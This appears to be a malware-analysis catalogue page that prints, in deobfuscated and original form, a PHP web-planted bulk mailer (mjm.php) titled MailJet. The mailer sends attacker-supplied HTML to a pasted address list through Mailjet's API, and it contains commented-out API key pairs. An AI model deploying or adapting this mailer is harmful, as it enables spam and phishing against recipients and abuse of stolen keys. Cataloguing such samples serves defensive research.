PHP Malware Analysis

Back to list

Filename: mjm.php

Tags

URLs
Title
  • MailJet
Input
  • _POST

Deobfuscated code

<?php

session_start();
if (isset($_POST['ok'])) {
    $_SESSION['pukey'] = $_POST['pukey'];
    $_SESSION['prkey'] = $_POST['prkey'];
}
?>

<!DOCTYPE html>
<html>
<head>
	<style type="text/css">
		form, div {
			width: 800px;
			margin-left: auto;
			margin-right: auto;
		}
		input, textarea, button {
			width: 100%;
			padding: 10px;
			display: block;
			margin-bottom: 10px;
		}
		* {
		    -webkit-box-sizing: border-box;
		    -moz-box-sizing: border-box;
		    box-sizing: border-box;
		}
		textarea {
			height: 180px;
		}
	</style>
	<title>MailJet</title>
</head>
<body>
	<form method="post">
		<input type="text" name="pukey" placeholder="Public Key" value="<?php 
echo @$_SESSION['pukey'];
?>" required>
		<input type="text" name="prkey" placeholder="Private Key" value="<?php 
echo @$_SESSION['prkey'];
?>" required>
		<input type="text" name="sendern" placeholder="Sender name" value="<?php 
echo @$_POST['sendern'];
?>" required>
		<input type="text" name="sendere" placeholder="Sender email" value="<?php 
echo @$_POST['sendere'];
?>" required>
		<input type="text" name="subject" placeholder="Subject" value="<?php 
echo @$_POST['subject'];
?>">
		<textarea name="html" placeholder="Code HTML"><?php 
echo @$_POST['html'];
?></textarea>
		<textarea name="list" placeholder="Mail list" required></textarea>
		<button name="ok">Send</button>
	</form>
<div>

<?php 
if (isset($_POST['ok'])) {
    $public_key = $_POST['pukey'];
    $private_key = $_POST['prkey'];
    $sendern = $_POST['sendern'];
    $sendere = $_POST['sendere'];
    $subject = $_POST['subject'];
    $codehtml = $_POST['html'];
    $list = explode(PHP_EOL, $_POST['list']);
    foreach ($list as $email) {
        $data = array('Messages' => array(0 => array('From' => array('Email' => $sendere, 'Name' => $sendern), 'To' => array(0 => array('Email' => $email)), 'Subject' => $subject, 'HTMLPart' => $codehtml)));
        // $public_key = "7707c176263d4a70eeb687477ba00b18";
        // $private_key = "c0fb76fe300e7821914be70c8448d6d4";
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, 'https://api.mailjet.com/v3.1/send');
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_POST, 1);
        curl_setopt($ch, CURLOPT_USERPWD, $public_key . ':' . $private_key);
        curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($data));
        curl_setopt($ch, CURLOPT_HTTPHEADER, array("Content-Type: application/json"));
        $result = curl_exec($ch);
        if (curl_errno($ch)) {
            echo 'Error:' . curl_error($ch);
        }
        curl_close($ch);
        $response = json_decode($result, true);
        $status = $response['Messages'][0]['Status'];
        $to = $response['Messages'][0]['To'][0]['Email'];
        if ($status = 'success') {
            echo "<p>+ " . $to . " ====> " . $status . "</p>";
        } else {
            echo "<p>+ " . $email . " ====> Something went wrong !</p>";
        }
        ob_flush();
        flush();
    }
    ob_end_flush();
}
?>
</div>
</body>
</html>


Original code

<?php

session_start();

if (isset($_POST['ok'])) {
	$_SESSION['pukey'] = $_POST['pukey'];
	$_SESSION['prkey'] = $_POST['prkey'];
}

?>

<!DOCTYPE html>
<html>
<head>
	<style type="text/css">
		form, div {
			width: 800px;
			margin-left: auto;
			margin-right: auto;
		}
		input, textarea, button {
			width: 100%;
			padding: 10px;
			display: block;
			margin-bottom: 10px;
		}
		* {
		    -webkit-box-sizing: border-box;
		    -moz-box-sizing: border-box;
		    box-sizing: border-box;
		}
		textarea {
			height: 180px;
		}
	</style>
	<title>MailJet</title>
</head>
<body>
	<form method="post">
		<input type="text" name="pukey" placeholder="Public Key" value="<?=@$_SESSION['pukey']?>" required>
		<input type="text" name="prkey" placeholder="Private Key" value="<?=@$_SESSION['prkey']?>" required>
		<input type="text" name="sendern" placeholder="Sender name" value="<?=@$_POST['sendern']?>" required>
		<input type="text" name="sendere" placeholder="Sender email" value="<?=@$_POST['sendere']?>" required>
		<input type="text" name="subject" placeholder="Subject" value="<?=@$_POST['subject']?>">
		<textarea name="html" placeholder="Code HTML"><?=@$_POST['html']?></textarea>
		<textarea name="list" placeholder="Mail list" required></textarea>
		<button name="ok">Send</button>
	</form>
<div>

<?php

if (isset($_POST['ok'])) {

	$public_key = $_POST['pukey'];
	$private_key = $_POST['prkey'];

	$sendern = $_POST['sendern'];
	$sendere = $_POST['sendere'];
	$subject = $_POST['subject'];

	$codehtml = $_POST['html'];
	$list = explode(PHP_EOL, $_POST['list']);

	foreach ($list as $email) {

		$data = array (
		  'Messages' => 
		  array (
		    0 => 
		    array (
		      'From' => 
		      array (
		        'Email' => $sendere,
		        'Name' => $sendern,
		      ),
		      'To' => 
		      array (
		        0 => 
		        array (
		          'Email' => $email
		  ),
		      ),
		      'Subject' => $subject,
		      'HTMLPart' => $codehtml,
		    ),
		  ),
		);

		// $public_key = "7707c176263d4a70eeb687477ba00b18";
		// $private_key = "c0fb76fe300e7821914be70c8448d6d4";

		$ch = curl_init();
		curl_setopt($ch, CURLOPT_URL, 'https://api.mailjet.com/v3.1/send');
		curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
		curl_setopt($ch, CURLOPT_POST, 1);
		curl_setopt($ch, CURLOPT_USERPWD, $public_key . ':' . $private_key);
		curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($data));
		curl_setopt($ch, CURLOPT_HTTPHEADER, array("Content-Type: application/json"));

		$result = curl_exec($ch);
		if (curl_errno($ch)) {
		    echo 'Error:' . curl_error($ch);
		}

		curl_close($ch);

		$response = json_decode($result, true);

		$status = $response['Messages'][0]['Status'];

		$to = $response['Messages'][0]['To'][0]['Email'];

		if ($status = 'success') {
			echo "<p>+ ". $to ." ====> ". $status ."</p>";
		}else {
			echo "<p>+ ". $email ." ====> Something went wrong !</p>";
		}
		
		ob_flush();
		flush();
	}

	ob_end_flush();


}


?>
</div>
</body>
</html>